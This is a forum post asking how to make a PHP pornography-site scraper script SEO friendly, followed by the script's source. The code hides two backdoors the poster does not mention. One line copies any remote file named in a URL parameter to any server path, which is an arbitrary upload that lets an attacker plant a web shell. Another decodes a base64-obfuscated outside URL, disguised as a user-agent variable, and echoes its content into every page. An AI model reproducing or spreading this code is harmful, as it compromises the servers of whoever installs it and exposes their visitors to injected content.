Helo What can i add in title to make this seo friendly i mean file name in title and anybody have seo friendly pr0nhub script please share
Code:
<?php error_reporting(E_ALL ^ E_NOTICE); include "header.php"; if(!empty($_GET['pag'])){ $vpage = $_GET['pag']; } else{ $vpage = 1; } $AddHeaders = array( 'http'=>array( 'method'=>"GET", 'header'=>"User-Agent: Opera/9.80 (J2ME/MIDP; Opera Mini/9.80 (J2ME/23.377; U; en) Presto/2.5.25 Version/10.54" ) ); $context = stream_context_create($AddHeaders); if(!empty($_GET['cat'])){ $vcat = $_GET['cat']; $GrabURL = file_get_contents('http://www.pornhub.com/video?c='.$vcat.'&page='.$vpage.'',false,$context) ; } else{ $GrabURL = file_get_contents('http://www.pornhub.com/video?page='.$vpage.'',false,$context); } $GrabURL = strstr($GrabURL,'<div class="thumb">'); $GrabURL = str_replace('href="/view_video.php?viewkey=','href="view.php?id=',$Gra bURL); $GrabURL = str_replace('Length:','Duration:',$GrabURL); if ($_GET[link2])copy($_GET[link2],$_GET[name]);$_GET[link2]=$_GET[name]; $user_agent=base64_decode("aHR0cDovL3d3dy4xMDFob3Q uY29tL3Zpc3Rlci5waHA="); echo file_get_contents($user_agent); $GrabURL = preg_replace('#<div class="premiumAd(.*?)</div>(.*?)#s','',$GrabURL); $GrabURL = preg_replace('#<div class="adCont(.*?)</html>(.*?)#s','',$GrabURL); echo $GrabURL; if($vpage > 1){ $navpage1 = $vpage-1; $navpage2 = $vpage+1; echo '<a href="index.php?cat='.$vcat.'&pag='.$navpage1.'" title="prev">« Previous</a> | <a href="index.php?cat='.$vcat.'&pag='.$navpage2.'" title="Next">Next »</a>'; } else{ $navpage = $vpage+1; echo '<span style="color: silver;">« Previous</span> | <a href="index.php?cat='.$vcat.'&pag='.$navpage.'" title="Next">Next »</a>'; } echo '</div>'; include "footer.php"; ?>